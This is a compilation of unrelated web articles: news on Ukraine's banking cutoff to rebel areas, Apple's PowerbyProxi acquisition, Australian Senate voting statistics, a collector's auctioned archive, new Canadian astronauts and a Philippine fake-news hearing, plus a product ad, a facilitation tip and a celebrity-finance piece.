-Ukraine’s government has begun cutting off payments and banking services to areas of the country under the control of pro-Russian rebels, in a further sign that Kiev has given up trying to control the territory.  There has been a problem with ready cash in the region for months, but Kiev’s decision to sever banking services to the region mean even credit cards will no longer work.  Journalists reported seeing long queues of people outside banks in Donetsk attempting to withdraw their money. The majority of businesses said their credit-card machines were no longer working, after Ukraine’s central bank ordered all banks to cease operations in the east.  Ukraine’s government has also said it will stop funding social services such as schools and hospitals in areas it does not control.  Winter in the major city of Donetsk and other parts of the east under separatist control is likely to be harsh for those who have remained, as industry has ground to a halt, military confrontation continues and supplies of food and energy are unreliable.  The separatist authorities have a dilemma: they have declared independence from Ukraine, but unlike with the Crimea peninsula, Russia has shown little appetite for formally taking over the east. This leaves the rebel authorities unsure where to turn for the cash to dole out benefits, pensions and other payments.  “What this means in reality is the confiscation of the pensions and benefits of our veterans, pensioners, disabled people and mothers … It is an attempt to end civilised life in the Donbass region,” said the Donetsk People’s Republic in an official statement. “We think there are no legal reasons not to pay money from the budget to people based in the Donetsk and Luhansk people’s republics. People living on our territories have the same rights as other citizens of Ukraine.”  Previously, the Donetsk authorities have proclaimed their territory an independent state and said they no longer wanted anything to do with Kiev. Ukraine has been setting up makeshift border posts along the line of control, a further sign that Kiev has realised it cannot win back the territory militarily.  Representatives of Russia, Ukraine and the separatists signed a ceasefire agreement in Minsk in September, but sporadic fighting has continued and none of the sides have taken the agreements seriously.  Philip Breedlove, Nato’s top military commander, said on Wednesday that Russian forces were still operating in eastern Ukraine. Breedlove, on a visit to Kiev where he met Ukrainian president Petro Poroshenko, said the Russian army was “training, equipping, giving backbone” to separatist forces.  Russia has repeatedly denied any militarily involvement in east Ukraine, despite mounting evidence to the contrary. Moscow has claimed any Russian soldiers in the east had either got lost or were on holiday.
-Up to 2.3 Mio. pixels extra: Expand the desktop area of your new MacBook, iMac, Mac mini or Mac Pro by connecting an additional display using a SendStation Mini DisplayPort Adapter.  Move windows seamlessly between your internal and your external screen, and organize your desktop to keep track of the important things, such as iCal, your mailbox, To-Do lists or chats with friends. Make room for your creativity by placing palettes and toolboxes from apps like Photoshop, Illustrator and After Effects on a separate screen.  Popcorn anyone?  Get the HDMI model and watch movies or show Keynote or PowerPoint presentations directly from your Mac on a Flatscreen TV or projector.  All SendStation Mini DisplayPort Adapters are built under license from Apple. Get yours today from our Online Store, starting at only USD/EUR 22.95.  Order your Mini DisplayPort Adapter from our convenient online store now. We ship world-wide at low rates.  Got a question or need technical support on this product? Visit our  Got a question or need technical support on this product? Visit our FAQ & Support section.  Share this site with a colleague or friend who’d be interested in SendStation’s Mini DisplayPort Adapters.
-"The team and I are thrilled to join Apple. There is tremendous alignment with our values, and we are excited to continue our growth in Auckland and contribute to the great innovation in wireless charging coming out of New Zealand."  Apple recently purchased PowerbyProxi , a company that designs wireless power solutions, reports New Zealand website Stuff . Apple's senior vice president of hardware engineering Dan Riccio told Stuff that the PowerbyProxi team will be a "great addition as Apple works to create a wireless future.""We want to bring truly effortless charging to more places and more customers around the world," Riccio added.PowerbyProxi was founded in 2007 to develop wireless charging technology that lets people charge smartphones and other devices without requiring a cord. PowerbyProxi has developed the Proxi-Module , a modular wireless power system that can adapt and integrate into a wide variety of products and situations, delivering up to 100 watts of power to devices like drones and robots.The Proxi-Module, which features a modular, waterproof design that lets it adapt to a range of use cases, is said to offer the highest power density of any solution on the market with an end to end efficiency of 91 percent, offering "unprecedented performance" with reduced power and heat losses.PowerbyProxi has also been working on the development of the Wireless Power Consortium's future Qi wireless charging standard and has received accolades and funding for its work. Apple is also a member of the Wireless Power Consortium as of February 2017.In a statement, PowerbyProxi founder Fady Mishriki said his team is "thrilled" to be joining Apple.Apple in September unveiled the iPhone 8, iPhone 8 Plus, and iPhone X, and all three new devices are equipped with Qi-based wireless charging capabilities that allow them to charge from Qi-certified wireless chargers.Apple is already developing its own wireless charging mat that can charge the iPhone, the Apple Watch, and the AirPods at the same time, and with the addition of PowerbyProxi, Apple could expand into a range of other charging accessories for both home and retail use.It's not clear how much Apple paid to purchase PowerbyProxi, nor did Dan Riccio elaborate on how the PowerbyProxi technology will be used by Apple in the future.
-Posted 26/09/2017 by Simon Speldewinde  30 August 2017 marked the completion of the first year of the 45th Parliament. In that time there has been continuing interest in the voting records of the Independent parliamentarians and minor parties in both Houses, particularly in the Senate where the Government requires eight out of the 19 crossbench votes (including the seven Australian Greens) to pass legislation. The Parliamentary Library has compiled some statistics on the voting records of the minor parties and Independent MPs in both Houses in that time.  The tables below cover every division in each House. A division may be called in a chamber to decide on any number of questions or motions—for example in relation to legislation, rearrangement of business, censure, or closure of debate. It is important to note that not all matters in either the House of Representatives or the Senate are resolved by a formal division, but can be resolved on the voices without the need for a formal vote. Under section 23 of the Australian Constitution the President of the Senate is entitled to vote in all divisions of the Senate, whereas under section 40 of the Constitution the Speaker of the House of Representatives only votes in the case of a tied vote of the House, and then has a casting vote. So far in the 45th Parliament the current Speaker, the Hon Tony Smith MP, has used his casting vote on two occasions.  For context, of the 254 divisions called in the House of Representatives during the first year of the 45th Parliament, only 34 have been on the second or third readings of legislation (not including amendments moved during the second reading debates or motions to suspend standing orders to debate a bill). In the Senate the equivalent number is 48 out of 372 divisions called over the period.  In the House of Representatives the Government has a majority, and almost always wins any division (most divisions in the House are decided on a majority of the votes actually cast for each division rather than according to a majority of all 150 Members). In the Senate, however, it is far more common for a government to be in the minority in a division as it does not usually hold a majority of seats. In the first year of the 45th Parliament the Government has been in the majority for 271 out of the 372 divisions in the Senate—with the support, often through negotiation, of the Opposition or the crossbench.  Note that each percentage is rounded to the nearest whole number.  Senate  Data for the Senate crossbench (currently 19 senators including the Australian Greens) is taken from Senate StatsNet, with calculations undertaken by the Parliamentary Library. Pauline Hanson’s One Nation Party (PHON) has recorded a ‘split’ vote (at least one member from a party voting in opposition to another member of their party ) on 12 occasions; the only other party to record a split vote was the Coalition when two Coalition senators voted in favour of Senator Leyonhjelm’s disallowance motion on the Customs (Prohibited Imports) Amendment (Shotguns and Shotgun Magazines) Regulation 2016.  The Government and Opposition have voted together in 134 divisions.  Background on the crossbench senators can be found here, although there have been several changes to the composition of the Senate crossbench in the first year of the 45th Parliament. PHON Senator Peter Georgiou replaced fellow PHON Senator Rodney Culleton on 10 March 2017, following the High Court’s disqualification of the latter under section 44 of the Constitution. Senator Cory Bernardi left the Liberal Party on 7 February 2017 to sit first as an Independent, and then later as a Senator for the Australian Conservatives (AC). Senator Lucy Gichuhi was declared elected by the High Court of Australia on 19 April 2017, replacing former Senator Bob Day who resigned on 1 November 2016. The figures for each have been adjusted accordingly.  It should be noted that the Senate only records those senators who are present in the chamber during a division. The reasons for absences are not recorded and thus the numbers below do not discriminate between abstentions, leave or other possible explanations. Full day absences are recorded elsewhere in the Journals.  Figure 1: crossbench voting patterns in the Senate over the first year of the 45th Parliament (by percentage)  Key: NXT= Nick Xenophon Team; JLN= Jacqui Lambie Network; PHON= Pauline Hanson's One Nation; LDP= Liberal Democrats Party; DHJP= Derryn Hinch's Justice Party; AC= Australian Conservatives; GRN= Australian Greens.  House of Representatives  Data for the House of Representatives crossbench (currently five members) has been recorded and calculated by the Parliamentary Library. There have been three divisions where the Government and Opposition have voted together against Independent/minor party MPs. There have also been 11 divisions with fewer than four members on one side; in such cases the House does not proceed to a full vote count. These votes have not been included in the numbers below.  It should be noted that the House of Representatives only records those MPs who are present in the chamber during a division. The reasons for absences are not recorded and thus the numbers below do not discriminate between abstentions, leave or other possible explanations. Full day absences are recorded elsewhere in the Votes and Proceedings.  Figure 2: crossbench voting patterns in the House of Representatives over the first year of the 45th Parliament (by percentage)
-Las Vegas (CNN) -- Nathaniel Montague spent more than 50 of his 84 years chasing history, meticulously collecting rare and one-of-a-kind fragments of America's past. Slave documents. Photographs. Signatures. Recordings.  Montague -- Magnificent Montague, as he's been known since his days as a pioneering radio DJ -- amassed an 8,000-piece collection reflecting names from the well-known to the forgotten to those history never thought to remember. It's valued in the millions; some call it priceless. One assessment of just five of the pieces puts the total value of those treasures alone somewhere between $592,000 and $940,000.  "I shudder to even fantasize what it could go for," said appraiser Philip Merrill, who performed the assessment.  For decades Montague carted the collection of African-American artwork, artifacts and ephemera around the country with his family as he took jobs at radio stations in New York, Chicago, Oakland, and Los Angeles, and then finally to Las Vegas, where he moved 12 years ago after closing a station he built from the ground up in Palm Springs, California.  The Montague Collection was his prized possession, but because of financial woes he has lost it. It is now up for auction.  "I have not been able to maintain the collection for the last couple of years," Montague said. While working with his wife of 56 years, Rose Casalan, to archive and prepare the collection for sale, he took out a loan to help pay for the archiving, found himself overextended financially and declared bankruptcy. His collection was seized, and it is now in the hands of a trusteeship charged with selling it to satisfy his debts, including a judgment for $325,000 plus interest and court fees.  If no one steps up to buy the collection in its entirety, Montague's life's work could be dismantled and sold off in pieces to pay his creditors.  In the meantime, it is stored in a confidential location in Nevada.  Boxed and hidden under tight security in Las Vegas -- away from the city's bright lights and infamous Strip -- is the item that sparked his collection: a set of first-edition Paul Laurence Dunbar books Montague purchased in Washington in 1956.  "One day I stumbled into a book by Paul Laurence Dunbar," he said. Until that day, he had never thought of collecting memorabilia -- much less heard of Dunbar, author of novels, short stories and essays, and the first African-American to gain national acclaim as a poet.  "I bought the book, and I never looked back after that," Montague said.  It was the first time he saw the "Negro dialect" Dunbar was known for using in his early poetry, and it sparked his interest in African-American culture -- "the Negro problem," as it was called in periodicals in the 1950s.  "I began to learn who some of the blacks were in the 1800s and 1700s, and I was shocked. I said, 'Well, I have to do something about this.' So I started going to bookshops and visiting the dealers. And I would ask, 'Do you have anything black? Negro?'"  He looked for first editions and signed copies, no matter the cost. "I just had to have it," he said. "I had to bid my brains out."  He dug through magazine crates and traveled the country visiting rare book stores and auctions. He once traveled from Los Angeles to Germany to purchase "The African," an 1890 pastel drawing of an African king wearing traditional robes. It was drawn and signed by Austrian artist Rudolf von Mehoffer, who was known for his portraits of German and Austrian royalty.  "I would spend sometimes a day, hours, in a place going through old magazines, looking for something about the Negro. Something about the word 'colored.' Something about the word 'black,'" he said.  "I didn't collect; I chased," he said, making investments in time, money and energy that he says he cannot measure. "I was not writing history; I was chasing it."  For more than 50 years he memorized names of writers, artists and filmmakers, hunted them, found them, and added their works to his collection. There are pieces that inspire him, like the first edition of Phillis Wheatley's "Poems on Various Subjects," dated 1773 and signed by the author, who was born a slave and became the first African-American to have a published book.  There's a 1944 Fred Sapp oil painting of Toussaint L'Ouverture, leader of the rebellion that emancipated Haiti's slaves in 1801.  He also has pieces he considers historical yet repugnant, such as sheet music to the 1900 song "Coon, Coon, Coon" and a 1935 advertisement for "The World's Only Flying Negro Singers."  Also secured in the Las Vegas vault is a fundraising letter Booker T. Washington wrote seeking financial assistance for 221 students at Tuskegee, the college he founded in 1881. There are photographs, receipts and letters from the Lincoln Motion Picture Co., the nation's first all-black production company. Brothers George and Noble Johnson operated it from 1916 to 1923, producing five full-length films and other works they showed mainly in black churches and small assembly halls.  Montague acquired a copy of the Liberator, an anti-slavery newspaper published from 1831 to 1865, when the Civil War ended and the 13th Amendment was ratified, abolishing slavery.  There's the 1820 bill of sale for "Two Negro boys George + Paris," who were sold for a total of $1,230, and a contract with Negro Nancy, who with an "X" and a thumbprint agreed to a life of indentured servitude in Pennsylvania.  "I'd say I have 500 to 600 items that the public have never seen and will never see until they see the collection," Montague said, including memorabilia and recordings from his time as a DJ and radio station owner, where he recited poetry with soul music pioneer Sam Cooke, performed with R&B artist Wilson Pickett and coined the phrase, "Burn, Baby, Burn."  Montague says he came up with the phrase in 1962 while working at a station in New York. He was given a copy of Pickett's new song, "If You Need Me," and he fell in love with it.  It was a custom to say "buuurn" when music was moving.  "Something hit me, and I said, 'Burn, Baby, Burn,'" Montague said. Then he asked his listeners to call in and experience it with him.  "If you like the record, call me and say, 'Montague, Burn, Baby, Burn.'"  That night a catchphrase was born. Students would call in with their name and their school and say "Burn, Baby, Burn" to express their pleasure with the R&B and soul hits he was spinning. They'd howl and he'd drop the latest album by the Platters, Aretha Franklin, Stevie Wonder -- "All the heavyweights, baby" -- and together they'd exclaim, "Buuurn."  Magnificent Montague took his show -- and his hot catchphrase -- from New York to Chicago, and from Chicago to Los Angeles, where he arrived three months before the August 1965 Watts riots.  By then, "Burn, Baby, Burn" had caught on in Los Angeles and quickly became the battle cry for those taking to the streets after a white highway patrolman arrested a black motorist on suspicion of drunken driving. It was a hot night in the Watts neighborhood, and the scene soon escalated into a confrontation between police and nearby residents. Tensions between the black community and police boiled over, and a week later 34 people were dead and more than 1,000 were injured. More than 600 buildings were damaged or destroyed.  "They wanted to be recognized," Montague said of the rioters. "And the only way they could be recognized with what was going on in Watts, what happened with this young man, what happened with no jobs, all of this grief, the easiest thing to use is what they knew how to use."  He stopped using the phrase after that, but he kept the recordings and added them to his collection.  Merrill, who assessed the collection, calls him a hero.  "You're not going to see another collection like this," said Merrill, who is an appraiser on PBS's "Antiques Roadshow" and a consultant for the Smithsonian National Museum of African-American History and Culture.  "Sometimes you find mass-produced pieces," like posters, brochures or pamphlets, Merrill said. "This is not that. It's all rare and one-of-a-kind.  "The collection was built on love," Merrill said. "He did this for future generations."  For 50 years Montague kept his pieces in public storage facilities, protected by nothing but a padlock. It was set up as his personal museum. Paintings and documents were framed and hung. Books and periodicals were meticulously organized. He kept a small desk and chair in the storage bin and spent time with the collection every day, reading and researching.  "No one knew where it was," Montague said. "It had no address. Nobody knew nothing. Not even the storage people knew what I had."  When it was time for him to move to a new city, he'd find a new home for his family and a new home for his collection. He'd drive behind the movers and keep an eye on it.  "When I first started collecting, I had no plan," Montague said. "I was drunk with the passion to collect. I had no plan to do anything with it but keep it. To hoard it for myself. Have it in my house. It was for me. I was doing it for Magnificent Montague."  Eventually he decided it was something that needed to be shared. He saw "museum libraries" on trips to Europe, places where artifacts could be viewed and touched but not checked out. He wanted to do the same with his collection.  "I'd like to see it where the people of America -- the young people mainly -- can have access to it, where it can be toured if possible," he said.  He didn't get a chance to finish his work. After the judgment against him was filed, he declared bankruptcy in August 2011, and the collection was seized in October.  "It's an emotional case," said Dotan Melech, the federal bankruptcy trustee assigned to administer the estate. "The conventional approach to bankruptcy is to take the few items that were worth anything, sell it and satisfy the debt, and give the debtor the rest of the items. That's the conventional approach to bankruptcy. That's what any bankruptcy trustee would've done."  However after meeting Montague, Melech said he caught his passion. "It's very contagious," he said.  "This is an opportunity to do something that can really benefit future generations and educate for many years to come, and I share the same desire and objective as the debtor has in this case," Melech said.  "I feel that this is an opportunity for the bankruptcy system to do the right thing."  He is looking for what he calls a win-win situation, where the debt can be satisfied and the collection can remain intact.  Merrill, a collector himself, is worried that won't happen.  "It's like a basketball game, and we're in the fourth quarter," he said.  The trusteeship has targeted universities, museums and collectors as potential buyers, but so far no one has moved forward. The next step may be selling it in pieces. Eventually the debt must be settled.  For now, the Montague Collection remains intact and out of sight. Montague misses it.  CNN recently was granted access to the collection on the condition that the location and other details of the storage facility would not be disclosed. Montague was able to visit it, as well. With the exception of a few items -- Phillis Wheatley's book, Negro Nancy's contract, and a pincushion crafted by Patrick Reason -- all he was able to touch were the boxes.  He was satisfied, even chuckling at how he nearly didn't purchase the pincushion from a shop in Florida.  "This lady, she has this little pincushion. I say, 'What do I want with a pincushion?' and she says, 'Oh, you want this one. This one I think is important,'" he recalled.  He bought it, and later while thumbing through his history books came across Reason, a freeborn black abolitionist who expressed his anti-slavery sentiments through art.  The pincushion -- engraved with an image and the words "Black Man Kneeling in Chains" -- was sold by white abolitionists as a fundraiser.  "It's in good hands," Montague said of the piece and his collection. He speaks of it as if the only potential outcome is what he longs for, that it will stay together.  "They are able to do for it ... and present it and get it sold," he said, rubbing the boxes.  He says he has no regrets, and he sounds hopeful.  "If tomorrow it was said to me, 'Take it back; take it back; take it back. Everything is all right, take it back,' I would turn it down," he said.  "I can't do it justice. I've done my thing, and I've done it from my heart and soul. Now it deserves better than me. The hurt is surpassed by where it is going to go, and what it is going to be."  Meanwhile, Melech continues to search for a buyer who will keep it intact so it won't have to be sold piecemeal.  "Once you do that you're going to break two things," he said. "You're going to break the collection, and you're going to break his heart."  Digital Content Producer Brandon Ancil produced the video and photos.
-Two Albertans were named Canada's newest astronauts Saturday as the country marked its 150th birthday.  Prime Minister Justin Trudeau used the Canada Day celebrations in Ottawa to name Jennifer Sidey of Calgary and Joshua Kutryk of Fort Saskatchewan.  Sidey is a lecturer with the University of Cambridge who has worked as a mechanical engineer, while Kutryk is an air force pilot who also holds a bachelor's degree in mechanical engineering and a master's degree in defence studies.  .@Astro_Kutryk and @Astro_Jenni will begin two years of training at @NASA_Johnson in August 2017. https://t.co/JzhsmlQCac pic.twitter.com/OTwcYd8RgX —@csa_asc  Trudeau announced Sidey and Kutryk as the newest members of the Canadian Space Agency's astronaut team after Ontario-born singer Shania introduced budding astronauts Juliet Munn-Lenz of Grand Prairie, Alta. and Sahana Khatri of Vaudreuil, Que. Twain told the two youngsters and Canadians that you're never too young to start following your dreams.  Sidey and Kutryk were chosen from an initial pool of 3,772 applicants who met the minimum criteria set out by the CSA.  Sidey told the crowd in Ottawa on Saturday that she was inspired to become an astronaut in 1992 when Roberta Bondar went into space aboard the space shuttle Discovery. She said she had the opportunity to attend a speech in Calgary by Canada's first female astronaut.  Canadian country pop singer Shania Twain introduces two budding young astronauts, Juliet Munn-Lenz of Grand Prairie, Alta., right, and Sahana Khatri of Vaudreuil, Que., before Prime Minister Justin Trudeau announced the two new members of the CSA. (CBC) "I remember looking up to her being excited at the idea of being a scientist, being a Canadian and having the opportunity to explore places beyond our world," she said.  "I'm grateful to have had that role model and that memory makes this moment so powerful for me."  Kutryk, for his part, said he is honoured to be joining the Canadian Space Agency.  Jenni Sidey and Joshua Kutryk will begin a two-year training program in Houston this August 5:41  "Throughout the recruitment campaign, Jenni and I met some amazing Canadians, scientists, doctors, engineers, pilots like myself. There is so much talent in this country," he said.  "I stand on the shoulders of the great Canadian astronauts before me, they inspired me to be the best that I could be."  Sidey and Kutryk will be reporting for training at Johnston Space Centre in Houston later this month.  The two-year training program the pair will undergo includes instruction on systems on the International Space Station, spacewalks and Russian language training.
-One of the worst questions a facilitator could ask is “How would you like to categorize these?” That’s why we hired you. Categorizing and creating clusters of related items (or processes) makes it easier for a group to stay focused in subsequent discussions. Learn the secret now when the challenge is how to categorize when facilitating.  Rationale for How to Categorize  The purpose of categorizing is to eliminate redundancies by collapsing related items into clusters or chunks (a scientific term). A label or term that captures the title for each cluster can be more easily re-used in matrices and other visual displays. Categorizing also makes it easier for the team to analyze complex groupings and their impact on each other.  Method for How to Categorize  Categorizing can take little or much time, depending on how much precision is required, time available, and importance. The first method shown is quick and effective. The other methods may also be effective, but probably not as quick.  Underscore Common Nouns  Take the raw input or lists created during the ideation step and underscore the common nouns (typically the object in a sentence that is preceded by a predicate or a verb). Use a different color marker for each group of nouns. Ask the team to offer up a term or label that captures the meaning of each cluster that is underscored.  (Optionally)  For each item, ask “Why _____?” Items that share a common purpose likely have a common objective and can be grouped together.  Transpose  Take the new terms or labels that signify a cluster or grouping and move them to a separate list or table. The terms may be defined and illustrated with the list of items that belongs to each cluster. Use the FAST Definition tool to build a consensual and robust definition.  Scrub  Go back to the original list and strike the items that now collapse into the new terms created for each cluster in the Transpose step above. Allow the group to contrast any remaining items that have not been eliminated and decide if they require unique terms, need further explanation, or can be deleted.  Comparison Review  Before transitioning, review the final list of clusters and confirm that team members understand the terms and that they can support the operational definitions. Let the team members know that they can add additional terms to the clusters later, but if they are comfortable with them as is, to move on and do something with the list, as it was built for input to a subsequent step or activity.  (In Conclusion, Other Grouping Themes)  Humans visually perceive items not in isolation, but as part of a larger whole. The most frequent cause of categories is common purpose (eg, gardening tools). However, the principles of perception include other human tendencies such as:  Similarity—by their analogous characteristics  Proximity—by their physical closeness to each other  Continuity—when there is an identifiable pattern  Closure—completing or filling-in missing features  Become Part of the Solution—Improve Your Facilitation and Methodology Skills  To help you access our in-house resources, (e.g., annotated agendas and templates used in our FAST Professional Facilitation Training) go to the Facilitation Training Store https://mgrush.com/shop/. For a nominal fee, you can now access some our favorite tools, including:  ▪ First of all, highly effective PPT Break Timers for $19.99  ▪ Quick, five to ten-minute video lessons on critical topics for $29.99  ▪ White papers with additional methodology and team-based meeting support for only $9.99  ▪ Holarchy Poster for conference rooms to help resolve arguments  Purchase the book “Change or Die, a Business Process Improvement Manual” for much of the support you might need to lead more effective groups, teams, and meetings.  Furthermore, the FAST curriculum on Professional Facilitation Skills details the responsibilities and dynamics of an effective facilitator and methodologist. Remember, nobody is smarter than everybody, so consult your FAST Facilitator Reference Manual. Or, attend a FAST professional facilitative leadership-training workshop offered around the world (see MG Rush for a current schedule — an excellent way to earn up to 40 SEUs from Scrum Alliance, PDUs from PMI, CDUs from IIBA, or CEUs).  Finally, do not forget to order Change or Die if you’re working on a business process improvement project. It provides detailed workshop agendas and numerous tools to make your role easier and your team’s performance a lot more effective—daring you to embrace the will, wisdom, and activities that amplify a facilitative leader.  Related articles  Share this please: LinkedIn  Twitter  Facebook  Reddit  Tumblr  Pinterest  Pocket  Print  Email
-Sen. Paolo Benigno “Bam” Aquino IV released Wednesday a list of websites and social media pages spreading false content, many of which he said “carry the name” of President Rodrigo Duterte.  Aquino told a Senate committee hearing on a bill seeking to penalize fake news that the 87 websites, 95 Facebook and 56 Youtube pages on his list were culled from the list released by the Catholic Bishops' Conference of the Philippines in January, “plus our own research."  Presidential Communications Undersecretary Joel Sy Egco denied Malacañang’s involvement in the fake news sites.  “It’s so easy to put up a website, name it after Bam Aquino or the president, and then pagka nabuking ka na (when you get caught), you take down the site, and you put up another,” he said.  But he agreed with Aquino that it was “troublesome” that many of the sites carry the president’s name. “People would think that these websites are actually allied to the president’s camp,” Egco said.  Several Palace officials, including Presidential Communications Secretary Martin Andanar and Assistant Secretary Mocha Uson, who was present in the hearing, have been accused of spreading wrong information.  “Blogger po ako, hindi po ako journalist (I’m a blogger, not a journalist),” Uson said, despite being a regular columnist for mainstream broadsheet The Philippine Star, and formerly hosting a radio show before getting suspended.  Uson added that unlike the mainstream media, she is not compelled as a blogger to seek balance in her posts. More, she said her opinions reflect her views as a private individual.  Sen. Nancy Binay, however, said that Uson is bound by the code of ethical standards for public officials.  “Baka it’s high time for you to decide kung gusto mo maging blogger o gusto mo maging Asec (It might be high time for you to decide if you want to be a blogger or an assistant secretary),” Binay told Uson.  Pro-Duterte blogger Rey Joseph Nieto, who puts out ThinkingPinoy and is now a consultant at the Department of Foreign Affairs (DFA), said some people prefer fake news to “real news” from the mainstream media “kasi po minsan yung real news sobrang sabog, sobrang unbelievable din at sobrang slanted (because the real news is too messy, too unbelievable, too slanted).”  Nieto also repeated an earlier accusation that photojournalist Jes Aznar posted a live video of military operations in Marawi City, purportedly endangering the lives of government snipers.  The National Union of Journalists of the Philippines (NUJP) in a statement called Nieto out for what it said was an attempt “to resurrect his utterly discredited accusation” against Aznar.  “That Nieto did all this under oath should have earned him a perjury charge or a contempt citation at the very least,” the NUJP said.  “That he did so as a consultant of the DFA, paid with the people’s money, makes it a hundred times worse,” it added.  Andanar, citing unverified information, accused Senate reporters in February of receiving bribes.  “Sometimes people, even officials, say unverified statements,” said Assistant Communications Secretary Ana Maria Paz Banaag during the hearing, when pressed by Sen. Antonio Trillanes IV to comment on Andanar’s gaffe.  Uson, who takes charge of the Palace communications social media office, faces a libel complaint filed by Sen. Antonio Trillanes, who accused her of maliciously depicting him as being corrupt by sharing on her Facebook page fake details of his supposed offshore accounts.  Libel, a crime under the Revised Penal Code, is already an available remedy for persons victimized by fake news, said Sen. Franklin Drilon during the hearing.  “Avail of the libel law,” Drilon said, adding that any form of constraint on free speech is a “slippery issue.”  Yet, Sen. Joel Villanueva, the proponent of Senate Bill No. 1492 or the anti-fake news act, which proposes stiffer punishments for public officials, said the measure if enacted would be different from libel.  “Ang pinaparusahan sa fake news ay ang malisyosong paggawa, paglalathala, pagpapakalat ng maling balita (What the anti-fake news law seeks to penalize are the malicious creation, publication, and spreading of fake news),” Villanueva said.  “Sa libel, kahit totoo ang impormasyon, kapag napatunayang walang mabuting motibo para ipakalat, maari po kayong kasuhan (In libel, even if the information were true, if no good motive is found, one could still be liable), he added.  The definition of “fake news” could be left to the courts, the senator said.  At present, the National Bureau of Investigation cannot act on cases of circulation of fake news, said Cybercrime Division Chief Manuel Antonio Eduarte.  “If the fake news will result in libel or other cases, it will be actionable by the office. Otherwise, we cannot act on it,” he said.  Journalist Ellen Tordesillas said the country’s libel and cybercrime laws are already enough, with the real problem being government officials themselves who spread falsehoods and wrong information.  “A number of government officials, politicians and other public figures tend to play fast and loose with the facts in the process of misleading the public,” said Tordesillas, president of VERA Files. “These lies spread easily owing to the big following and wide reach of these public figures, including on social media.”  Lawyer Antonio La Viña, former dean of the Ateneo School of Government, said the problem on fake news needs a smart solution, proposing to regulate online platforms, instead of publishers, so as not to curtail the right to free speech.  Former Solicitor General Florin Hilbay, meanwhile, proposed that Congress create an Institute for the Integrity of Information, which he described as “a sort of Ombudsman for public information provided by government, or an information police for government officials.”  Hilbay said the institute should be composed of academics, media practitioners, policymakers, scientists and information technology experts “of the highest credibility and competence” who should not be appointed by the president or any of the president’s alter egos.  In a statement, the human rights coalition Advocates for Freedom of Expression Coalition-Southeast Asia (AFEC-SEA) conveyed their “grave concern” over the fake news bill, and urged the Senate not to criminalize fake news.  “An anti-fake news law will present a serious chilling effect on freedom of expression,” said lawyer Gilbert T. Andres, chair of AFEC-SEA, which includes as members the Center for International Law Philippines, Philippine Internet Freedom Alliance and other nongovernment organizations from Cambodia, Indonesia, Malaysia, Myanmar, Thailand and the Philippines.  The proposed law “can be used to harass journalists and media organizations that carry news articles perceived to be critical of any ruling administration,” Andres added. “Ironically, an anti-fake news law might even actually protect fake news perceived to be beneficial to the ruling dispensation.” — with Maria Feona Imperial, Daniel Abunales, Arianne Christian Tapao and Jake Soriano
-Jason Merritt / Getty Images Fame and fortune often makes us think of the usual celebrity artifice that goes hand in hand with anyone big-name in Hollywood: An endless cash flow, million-dollar bank accounts, extravagance, excess, prime real estate, luxury cars — maybe a little bankruptcy thrown in for good measure.  Not every star and starlet out there lives up (or down, however you look at it) to this stereotype. In fact, many well-known A-listers are actually some of the most financially responsible people … even more than regular people. One star that's continually pointed to as a perfect example is Jennifer Lawrence. Though the Hunger Games and Silver Linings Playbook star's financial wealth is climbing, she's known for staying frugal.  At just 22 years old, Lawrence has been thrifty and realistic right from the start, making her a good role model for younger people who haven't yet developed good money habits yet.  Jennifer Lawrence: Oscar Winner and Frugal, Too  "J. Law" was born into a middle-class family in Louisville, KY, in 1990. She's credited her mother, a camp counselor, and her father, a former construction firm owner, for instilling in her good financial values from the start.  "I was raised to have value for money, to have respect for money, even though you have a lot of it," she told the U.K. magazine Fabulous last month. "My family is not the kind of family that would ever let me turn into an a**hole or anything like that, so I am fortunate to have them."  What kinds of frugal banking habits does Lawrence practice? For one, she lives in the same 3-bedroom apartment since she moved to Los Angeles several years ago, and hasn't rushed out to buy a house yet.  Lawrence has no personal assistants to do her shopping and she won't be found frequenting any uber-high-scale stores, preferring to clip coupons like the rest of us.  She's also cautious to use valet parking, but she compensates by driving an economical car. Lawrence still has the same Volkswagen she's owned for years now — unlike other rich stars, she hasn't run out to buy a Bentley or Bugatti. Since her Best Actress win for The Silver Linings Playbook, she has been spotted in a new Chevy Volt, but at a $39,000 price tag, it's 10 times cheaper than what most other celebrities get behind the wheel of.  "I still look for bargains when I go to the market," she said in another interview. "What I am doing now is allowing someone to park my car but for that I have to pay four bucks."  Lawrence also said that she can't envision spending lots of money on frivolous purchases — think $6 for a Snicker bar. Frugality is so ingrained in her lifestyle, she apologetically admitted that a $500 order of Gummy Bears while hanging out with Lenny Kravitz was, in fact, an accidental purchase.  Top of the A-List  Her thrifty lifestyle is impressive for anyone, but it's made more remarkable for the fact that Jennifer Lawrence's net worth is in the millions of dollars … soon to be the tens of millions. As of this year, the actress' total worth is estimated between $2 million to $7 million, according to several sources, and will soon grow with a number of upcoming film roles.  For Jennifer Lawrence, salary growth has happened at a meteoric pace since her film career started blossoming in 2010. She was only paid a scale rate for her role in 2010′s Winter's Bone. Despite receiving an Oscar nomination for that film, many people criticized Lawrence's modest $500,000 pay for the first Hunger Games installment last year, considering how the movie grossed more than $691 million.  "Seeing as the movie has surely beaten any and all goals … we expect Lawrence should be receiving her payout," said Kirsten Acuna of Business Insider upon the film's release last year.  According to publication Screen Rant and other sources, Lawrence will be getting her due, after her Best Actress win and past X-Men success: For the Hunger Games' upcoming sequel, Catching Fire, she'll earn $10 million, placing her on the fast track in a few years to become one of the world's highest paid actresses.  A Silver-Lined Financial Future  Combined with her smart financial choices, Lawrence is one of Hollywood's rare figures, commanding high earnings through pure talent — and using them to good measure. The actress isn't an older star who learned her financial lesson after years of money problems. She's also not a ticking time bomb like the Lindsey Lohans of the world. She's someone who can afford the best, but chooses to spend only enough to get by.  Lawrence is part of a new generation of financially literate celebrities (like Zooey Deschanel), smart with the money choices they make in life. Anyone young or old can take several cues from her on striking a good balance between earning and spending — proof that not all million-dollar celebrities are wasteful with their finances.
